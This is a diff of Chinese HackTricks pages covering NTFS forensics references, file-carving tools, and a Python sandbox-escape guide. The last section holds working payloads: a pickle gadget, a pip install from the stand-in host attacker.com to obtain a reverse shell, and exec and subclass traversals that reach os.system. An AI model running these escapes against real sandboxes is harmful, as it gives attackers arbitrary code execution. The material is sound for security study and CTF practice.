显然,有方法可以**“安全地”删除文件和有关它们的部分日志**。例如,可以**多次覆盖文件内容**以垃圾数据,然后**删除**有关文件的**$MFT**和**$LOGFILE**的日志,并**删除卷影复制**。\
|
||||
您可能会注意到,即使执行了该操作,仍可能**记录文件存在的其他部分**,这是取证专业人员工作的一部分,是要找到它们。
|
||||
|
||||
## 参考资料
|
||||
|
||||
|
@ -243,4 +240,18 @@ FAT各版本的一个重要限制是**4GB的最大文件大小**,由用于文
|
|||
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
|
||||
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
|
||||
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
|
||||
* **iHackLabs认证数字取证Windows**
|
||||
* **iHackLabs Certified Digital Forensics Windows**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,36 +1,30 @@
|
|||
# 文件/数据切割和恢复工具
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
## 切割和恢复工具
|
||||
|
||||
发现最重要的漏洞,以便更快修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
更多工具请参考[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
### Autopsy
|
||||
|
||||
***
|
||||
在取证中最常用的用于从图像中提取文件的工具是[**Autopsy**](https://www.autopsy.com/download/)。下载、安装并让其摄取文件以查找“隐藏”文件。请注意,Autopsy旨在支持磁盘映像和其他类型的图像,而不是简单文件。
|
||||
|
||||
# 数据碎片重组和恢复工具
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
更多工具请查看[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
## Autopsy
|
||||
|
||||
在取证中最常用的从镜像中提取文件的工具是[**Autopsy**](https://www.autopsy.com/download/)。下载、安装并让其摄取文件以查找“隐藏”文件。请注意,Autopsy旨在支持磁盘镜像和其他类型的镜像,而不是简单文件。
|
||||
|
||||
## Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk**是用于分析二进制文件以查找嵌入内容的工具。可通过`apt`安装,其源代码位于[GitHub](https://github.com/ReFirmLabs/binwalk)上。
|
||||
**Binwalk**是用于分析二进制文件以查找嵌入内容的工具。可通过`apt`安装,其源代码位于[GitHub](https://github.com/ReFirmLabs/binwalk)。
|
||||
|
||||
**有用的命令**:
|
||||
```bash
|
||||
|
@ -39,22 +33,22 @@ binwalk file #Displays the embedded data in the given file
|
|||
binwalk -e file #Displays and extracts some files from the given file
|
||||
binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||
```
|
||||
## Foremost
|
||||
### Foremost
|
||||
|
||||
另一个常用的查找隐藏文件的工具是**foremost**。您可以在`/etc/foremost.conf`中找到foremost的配置文件。如果您只想搜索一些特定文件,请取消注释。如果您没有取消注释任何内容,foremost将搜索其默认配置的文件类型。
|
||||
另一个常用的查找隐藏文件的工具是**foremost**。您可以在`/etc/foremost.conf`中找到foremost的配置文件。如果您只想搜索一些特定文件,请取消注释。如果您不取消注释任何内容,foremost将搜索其默认配置的文件类型。
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
#Discovered files will appear inside the folder "output"
|
||||
```
|
||||
## **Scalpel**
|
||||
### **Scalpel**
|
||||
|
||||
**Scalpel** 是另一个工具,可用于查找和提取**嵌入在文件中的文件**。在这种情况下,您需要从配置文件(_/etc/scalpel/scalpel.conf_)中取消注释您希望提取的文件类型。
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
```
|
||||
## Bulk Extractor
|
||||
### Bulk Extractor
|
||||
|
||||
这个工具包含在kali中,但你也可以在这里找到它:[https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
|
@ -62,63 +56,40 @@ scalpel file.img -o output
|
|||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
浏览工具收集的**所有信息**(密码?),**分析**数据包(阅读[**Pcaps分析**](../pcap-inspection/)),搜索**奇怪的域名**(与**恶意软件**或**不存在**相关的域名)。
|
||||
|
||||
## PhotoRec
|
||||
### PhotoRec
|
||||
|
||||
您可以在[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)找到它。
|
||||
|
||||
它带有GUI和CLI版本。您可以选择要PhotoRec搜索的**文件类型**。
|
||||
它带有 GUI 和 CLI 版本。您可以选择要让 PhotoRec 搜索的**文件类型**。
|
||||
|
||||
![](<../../../.gitbook/assets/image (524).png>)
|
||||
|
||||
## binvis
|
||||
### binvis
|
||||
|
||||
检查[代码](https://code.google.com/archive/p/binvis/)和[网页工具](https://binvis.io/#/)。
|
||||
|
||||
### BinVis的特点
|
||||
#### BinVis 的特点
|
||||
|
||||
* 视觉和活跃的**结构查看器**
|
||||
* 不同焦点的多个绘图
|
||||
* 集中在样本的部分
|
||||
* 在PE或ELF可执行文件中**查看字符串和资源**
|
||||
* 获取用于文件加密分析的**模式**
|
||||
* **发现**打包程序或编码器算法
|
||||
* 通过模式**识别**隐写术
|
||||
* **视觉**二进制差异
|
||||
- 可视化和活跃的**结构查看器**
|
||||
- 不同焦点的多个绘图
|
||||
- 集中在样本的部分上
|
||||
- 在 PE 或 ELF 可执行文件中**查看字符串和资源**
|
||||
- 从文件中获取用于密码分析的**模式**
|
||||
- **发现**打包程序或编码器算法
|
||||
- 通过模式**识别**隐写术
|
||||
- **视觉**二进制差异
|
||||
|
||||
BinVis是在黑盒测试场景中熟悉未知目标的绝佳**起点**。
|
||||
BinVis 是在黑盒测试场景中熟悉未知目标的**起点**。
|
||||
|
||||
# 特定数据刻录工具
|
||||
## 特定数据刻录工具
|
||||
|
||||
## FindAES
|
||||
### FindAES
|
||||
|
||||
通过搜索其密钥计划来搜索AES密钥。能够找到128、192和256位密钥,例如TrueCrypt和BitLocker使用的密钥。
|
||||
通过搜索密钥计划来搜索 AES 密钥。能够找到 TrueCrypt 和 BitLocker 等使用的 128、192 和 256 位密钥。
|
||||
|
||||
在此处下载[here](https://sourceforge.net/projects/findaes/)。
|
||||
在[此处](https://sourceforge.net/projects/findaes/)下载。
|
||||
|
||||
# 附加工具
|
||||
## 附加工具
|
||||
|
||||
您可以使用[**viu**](https://github.com/atanunq/viu)来从终端查看图像。\
|
||||
您可以使用Linux命令行工具**pdftotext**将PDF转换为文本并阅读它。
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
您可以使用[**viu**](https://github.com/atanunq/viu)来在终端中查看图像。\
|
||||
您可以使用 Linux 命令行工具**pdftotext**将 PDF 转换为文本并阅读它。
|
||||
|
|
|
@ -2,27 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** 上**关注我们。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从 API 到 Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
以下是绕过 Python 沙盒保护并执行任意命令的一些技巧。
|
||||
这些是绕过 Python 沙盒保护并执行任意命令的一些技巧。
|
||||
|
||||
## 命令执行库
|
||||
|
||||
|
@ -59,7 +51,7 @@ open('/var/www/html/input', 'w').write('123')
|
|||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
记住,`open` 和 `read` 函数可以用来在 Python 沙盒内读取文件,并编写一些代码来执行以绕过沙盒。
|
||||
请记住,`open` 和 `read` 函数可以用于在 Python 沙盒内读取文件,并编写一些代码来执行以绕过沙盒。
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Python2 input()** 函数允许在程序崩溃之前执行 Python 代码。
|
||||
|
@ -73,9 +65,9 @@ Python 会尝试**首先从当前目录加载库**(以下命令将打印 Pytho
|
|||
|
||||
### 默认包
|
||||
|
||||
您可以在此处找到**预安装的**包列表:[https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
您可以在此处找到**预安装的包列表**:[https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
请注意,通过 pickle,您可以使 Python 环境**导入系统中安装的任意库**。\
|
||||
例如,加载以下 pickle 时将导入 pip 库以使用它:
|
||||
例如,加载以下 pickle 时,将导入 pip 库以使用它:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
|
@ -88,32 +80,30 @@ return (pip.main,(["list"],))
|
|||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
有关pickle工作原理的更多信息,请查看这里:[https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pip软件包
|
||||
|
||||
**@isHaacK**分享的技巧
|
||||
由**@isHaacK**分享的技巧
|
||||
|
||||
如果您可以访问`pip`或`pip.main()`,您可以安装任意软件包并调用以获取反向shell:
|
||||
如果您可以访问`pip`或`pip.main()`,您可以安装任意软件包并调用以下命令获取反向shell:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
你可以在这里下载创建反向shell的软件包。请注意,在使用之前,您应该**解压缩它,更改`setup.py`,并将您的IP放入反向shell中**:
|
||||
你可以在这里下载用于创建反向shell的软件包。请注意,在使用之前,您应该**解压缩它,更改`setup.py`,并将您的IP放入反向shell中**:
|
||||
|
||||
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
|
||||
|
||||
{% hint style="info" %}
|
||||
这个软件包叫做`Reverse`。然而,它经过特殊设计,当您退出反向shell时,安装的其余部分将失败,因此当您离开时**不会在服务器上留下任何额外的Python软件包**。
|
||||
这个软件包名为`Reverse`。但是,它经过特殊设计,当您退出反向shell时,安装的其余部分将失败,因此当您离开时**不会在服务器上留下任何额外的Python软件包**。
|
||||
{% endhint %}
|
||||
|
||||
## 评估Python代码
|
||||
|
||||
{% hint style="warning" %}
|
||||
请注意,exec允许多行字符串和“;”,但eval不允许(检查海象运算符)
|
||||
请注意,exec允许多行字符串和“;”,但eval不允许(检查海象操作符)
|
||||
{% endhint %}
|
||||
|
||||
如果某些字符被禁止,您可以使用**十六进制/八进制/Base64**表示来**绕过**限制:
|
||||
如果某些字符被禁止使用,您可以使用**十六进制/八进制/Base64**表示来**绕过**限制:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
|
@ -256,7 +246,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
|
|||
```
|
||||
#### 使用[元类](https://docs.python.org/3/reference/datamodel.html#metaclasses)创建对象
|
||||
|
||||
元类允许我们做的关键事情是**创建一个新的类,将目标类作为元类,从而实例化一个类,而无需直接调用构造函数**。
|
||||
元类允许我们做的关键事情是,通过使用目标类作为元类,创建一个新的类,从而**在不直接调用构造函数的情况下实例化一个类的实例**。
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
|
@ -324,20 +314,12 @@ a.__class__.__exit__ = lambda self, *args: None
|
|||
with (a as b):
|
||||
pass
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,这样您就可以更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,在整个技术堆栈中查找问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## 内建函数
|
||||
|
||||
* [**Python2的内建函数**](https://docs.python.org/2/library/functions.html)
|
||||
* [**Python3的内建函数**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
如果您可以访问**`__builtins__`**对象,则可以导入库(请注意,您还可以在最后一节中显示的其他字符串表示中使用)。
|
||||
如果你可以访问**`__builtins__`**对象,你可以导入库(注意,你也可以在最后一节中使用其他字符串表示形式):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
|
@ -347,7 +329,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
|||
当你没有 `__builtins__` 时,你将无法导入任何东西,甚至无法读取或写入文件,因为**所有的全局函数**(如 `open`、`import`、`print`...)**都没有被加载**。\
|
||||
然而,**默认情况下,Python会在内存中导入许多模块**。这些模块可能看起来无害,但其中一些**也导入了危险的**功能,可以访问这些功能以获得甚至**任意代码执行**。
|
||||
|
||||
在以下示例中,你可以看到如何**滥用**一些这些“**无害**”模块加载的方式来**访问**其中的**危险** **功能**。
|
||||
在以下示例中,您可以看到如何**滥用**一些这些“**无害**”模块加载的方式来**访问**其中的**危险** **功能**。
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
|
@ -435,15 +417,15 @@ class_obj.__init__.__globals__
|
|||
```
|
||||
## 寻找全局变量的递归搜索
|
||||
|
||||
在下面有一个更大的函数,可以找到数十/数百个可以找到全局变量的地方。
|
||||
在这里有一个更大的函数,可以找到数十/**数百**个**位置**,您可以在其中找到**全局变量**。
|
||||
|
||||
## 发现任意执行
|
||||
|
||||
在这里,我想解释如何轻松发现更多已加载的危险功能,并提出更可靠的利用方法。
|
||||
在这里,我想解释如何轻松发现**加载的更危险功能**并提出更可靠的利用方法。
|
||||
|
||||
#### 通过绕过访问子类
|
||||
|
||||
这种技术最敏感的部分之一是能够访问基类的子类。在之前的示例中,可以使用`''.__class__.__base__.__subclasses__()`来实现,但还有其他可能的方法:
|
||||
这种技术最敏感的部分之一是能够**访问基类的子类**。在之前的示例中,可以使用`''.__class__.__base__.__subclasses__()`来实现,但还有**其他可能的方法**:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
|
@ -473,12 +455,12 @@ defined_func.__class__.__base__.__subclasses__()
|
|||
```
|
||||
### 寻找已加载的危险库
|
||||
|
||||
例如,知道使用库 **`sys`** 可以**导入任意库**,你可以搜索所有**已加载的模块中导入了 sys 的库**:
|
||||
例如,知道使用库 **`sys`** 可以**导入任意库**,你可以搜索所有**已加载的模块中导入了 sys 的模块**:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
有很多,**我们只需要一个**来执行命令:
|
||||
有很多,而**我们只需要一个**来执行命令:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
|
@ -536,7 +518,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
|||
pdb:
|
||||
"""
|
||||
```
|
||||
此外,如果您认为**其他库**可能能够**调用函数来执行命令**,我们还可以在可能的库中**按函数名称进行过滤**:
|
||||
此外,如果您认为**其他库**可能能够**调用函数来执行命令**,我们还可以通过**过滤可能库中的函数名称**来进行筛选:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
|
@ -567,7 +549,6 @@ load_source: NullImporter, _HackedGetData
|
|||
execfile:
|
||||
execute:
|
||||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
|
||||
"""
|
||||
```
|
||||
## 递归搜索内置函数、全局变量...
|
||||
|
||||
|
@ -689,27 +670,19 @@ print(SEARCH_FOR)
|
|||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
